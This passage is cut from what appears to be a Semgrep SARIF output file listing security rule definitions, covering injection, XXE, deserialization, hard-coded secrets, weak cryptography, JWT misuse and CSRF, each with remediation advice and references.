malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","id":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","name":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection","id":"java.lang.security.audit.ognl-injection.ognl-injection","name":"java.lang.security.audit.ognl-injection.ognl-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ognl-injection.ognl-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","id":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","name":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","id":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","name":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","id":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","name":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","id":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","name":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Twilio API Key detected"},"help":{"markdown":"Twilio API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Twilio API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","id":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","name":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password)\n - [https://www.php.net/manual/en/function.ldap-bind.php](https://www.php.net/manual/en/function.ldap-bind.php)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"helpUri":"https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password","id":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","name":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ldap-bind-without-password.ldap-bind-without-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"help":{"markdown":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process","id":"javascript.lang.security.detect-child-process.detect-child-process","name":"javascript.lang.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli","id":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","name":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.kmongo-nosqli.kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","id":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","name":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","id":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","name":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"help":{"markdown":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://docs.python.org/3/library/secrets.html](https://docs.python.org/3/library/secrets.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random","id":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","name":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-insecure-random.cryptography-insecure-random"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","id":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","name":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval","id":"kotlin.spring.scripting-host-eval.scripting-host-eval","name":"kotlin.spring.scripting-host-eval.scripting-host-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.scripting-host-eval.scripting-host-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"help":{"markdown":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/csrf/](https://flask-wtf.readthedocs.io/en/1.2.x/csrf/)\n","text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF 